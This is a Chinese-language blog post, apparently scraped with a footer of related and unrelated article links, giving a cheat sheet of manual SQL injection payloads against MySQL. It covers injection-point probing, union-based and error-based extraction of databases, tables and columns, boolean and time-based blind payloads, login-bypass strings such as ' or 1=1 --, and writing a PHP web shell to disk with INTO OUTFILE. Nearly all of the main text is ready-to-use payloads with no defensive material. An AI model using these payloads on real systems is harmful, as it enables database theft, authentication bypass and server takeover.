SQL注入 (一)
一、手工注入
注入点检测
识别方法:通过在url栏输入'、and 1=1、or 1=1、and sleep(1),如果出现报错,或者页面不一致,则可能存在注入点。
注入类型:整数型、字符型、搜索型、BOOL盲注、时间盲注、HTTP头注入(cookie | user-agent)
PS:需要区分注入类型,比如'、"、')、")、%' 等之类结尾
查询注入(Payload)

猜测列数:order by [数字]
联合查询:union select [数字,数字,...]
常见信息:union select version(),user(),database(),4,5
查数据库:union select schema_name from information_schema.schemata limit 0,1
查询表名:union select table_name,2,3,4,5 from information_schema.tables where table_schema=database() limit 0,1
查询列名:union select column_name,2,3,4,5 from information_schema.columns where table_name='[表名]' limit 0,1
查表数据:union select [列名1],[列明2],3,4,5 from [表名] limit 0,1
PS:数据库版本version()、登录用户user()、数据库database()
错误回显(Payload)

报错函数:updatexml()、extractvalue()、rand()、group_by()
常见信息:[某种符号] or updatexml(1, concat(0x7e, (select version()), 0x7e, (select user())), 0) %23
查数据库:[某种符号] or updatexml(1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1)), 0) %23
查询表名:[某种符号] or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)), 0) %23
查询列名:[某种符号] or updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='[表名]' limit 0,1)), 0) %23
查表数据:[某种符号] or updatexml(1, concat(0x7e, (select [列名] from [表名] limit 0,1)), 0) %23
将updatexml()替换成extractvalue()时,只需要传2个参数即可。extractvalue(1,([执行的sql]))
在Mysql 5.1以上才存在xpath报错函数,若小于这个版本可以使用group_by() + rand()
默认Payload:[某种符号] and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,([sql语句]))x from information_schema.tables group by x )a) %23
Payload中[sql语句]可以替换成想要获取信息的SQL,语法同上。
盲注 bool | time (Payload)

常用函数:substr()、ascii()、mid()、length()
检测盲注:[某种符号] and 1=2 %23、[某种符号] and sleep(3) %23
常见信息:[某种符号] and substr(user(),1,1)='r' %23、[某种符号] and ascii(mid(version,1,1))=97 %23、[某种符号] and ascii(mid(version(),1,1))=97 and sleep(3) %23
查数据库:
[某种符号] and if((select count(*) from information_schema.tables where table_schema=database())=10, sleep(3), 1=1) %23
[某种符号] and if((length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=10), 1=1, 1=2) %23
[某种符号] and if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)))=109, 1=1, 1=2) %23
查询列名:
[某种符号] and if((select count(*) from information_schema.columns where table_name=[表名])=10, sleep(3), 1=1) %23
[某种符号] and if((length(select column_name from information_schema.columns where table_name=[表名] limit 0,1)=10), 1=1, 1=2) %23
[某种符号] and if((ascii(mid((select columns from information_schema.columns where table_name=[表名] limit 0,1), 1, 1)))=109, 1=1, 1=2) %23
查表数据:
[某种符号] and if((select count([列名]) from [表名])=5, 1=1, 1=2) %23
[某种符号] and if(length((select count([列名]) from [表名]))=5, 1=1, 1=2) %23
[某种符号] and if(ascii(mid((select count([列名]) from [表名]), 1, 1))=101, 1=1, 1=2) %23
PS:当非bool型时,可以使用sleep(3)代替1=1。灵活使用substr()、ascii()等函数
后台登录万能密码
' or 1=1 --、' or '1'='1、" or 1=1 --
写shell | 一句话
前提条件:
1.user()为root
2.知道web的绝对路径
3.文件路径有写入权限
Payload:
[某种符号] union select '[php代码]' into [关键字] '[绝对路径]' %23
[关键字]:outfile 或者 dumpfile
[某种符号] into outfile '[绝对路径]' [关键字] '[php代码]' %23
[关键字]:lines terminated by 或者 lines starting by 或者 fields terminated by 或者 COLUMNS terminated by
PS:如果写不进shell可以试试Hex编码内容或路径,也可以Hex编码数据库名称或者表名,若SQL执行错误可以在[某种符号]后面加上limit 1试试
SQL注入 (一)的更多相关文章
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 揭开SQL注入的神秘面纱PPT分享
SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助. 点击这里下载.
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- jdbc java数据库连接 8)防止sql注入
回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象; 写sql 5:执行sql ...
- Entity Framework关于SQL注入安全问题
1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL 参考: https: ...
- 关于SQL注入和如何防止
之前在笔试的时候没有很好的答出这个问题,因此我要总结一下问题,以免日后继续在这个地方跌倒,以下是自己的理解,如有错误请指出 一.什么是SQL注入 SQL注入就是服务器在根据业务去处理数据库的时候,客户 ...
- Java防止SQL注入2(通过filter过滤器功能进行拦截)
首先说明一点,这个过滤器拦截其实是不靠谱的,比如说我的一篇文章是介绍sql注入的,或者评论的内容是有关sql的,那会过滤掉:且如果每个页面都经过这个过滤器,那么效率也是非常低的. 如果是要SQL注入拦 ...
随机推荐
- async await 你真的用对了吗?
大部分同学了解Promise,也知道async await可以实现同步化写法,但实际上对一些细节没有理解到位,就容易导致实际项目中遇到问题. 开始先抛结论,下文将针对主要问题点进行论述. 1.所有as ...
- vue项目中echarts属性总结
<div id="echarts" style="width: 600px;height: 400px;margin-top: 100px;margin-left: ...
- div可以滚动但不显示滚动条
首先有3个div, 第1个,固定大小是200*200(单位为px,下同) 第2个,不固定大小,其大小要用第3个div把个撑开,但是这个div必需要有滚动条, 第3个,固定大小与第1个div保持一致20 ...
- python3处理csv文件
1. 基础语句 1.1 文件的读取 如果需要读取一行数据如下表1所示,那么需要读取域名下面的数据,便使用如下代码: with open('A.csv','rb') as csvfile: reader ...
- ABBYY FineReader 14扫描和保存文档
在ABBYY FineReader 14中您可以使用扫描"新建任务"窗口选项卡上的内置任务创建各种格式的数字文档.本文介绍使用FineReader 14扫描和保存文档的方法. 1. ...
- 3种终极方法,彻底解决CDR不显示缩略图!
站长所在的印刷出版行业,一般都是使用版本较低的CDR软件,以便更好的兼容出版厂,不然新版本的文件发厂出片时却打不开,而转低版本的话又容易出错.从最开始的 CorelDRAW 9 到现在的 CORELD ...
- 使用ABBYY FineReader将文档保存为电子书形式
运用ABBYY FineReader 15的OCR识别技术,不仅能将PDF文档.图像.扫描页面等保存为可编辑的格式,方便用户的进一步编辑使用:而且还能直接转换为电子书的格式,方便用户使用更为便携的电子 ...
- 思维导图MindManager流程图有哪些功能
流程图是思维导图中的一种图表,应用相当广泛.MindManager 2020作为专业的思维导图软件,更加强了流程图的功能,让用户能使用更加简便的MindManager技巧绘制流程图.接下来,就让我们一 ...
- yii2.0 关于 ActiveForm 中 checkboxList 的使用
在视图中创建复选框,列出复选框内的内容其中$id 为 列出在复选框中的数组 //$ids:所有要显示的checkbox(Array)<?=$form->field($model, 'id' ...
- sublime text3配置javascript运行环境
步骤一 安装node.js 官网下载链接:node.js 步骤二 Sublime 依次点击 菜单栏 Tools => Build System => New Build System 步骤 ...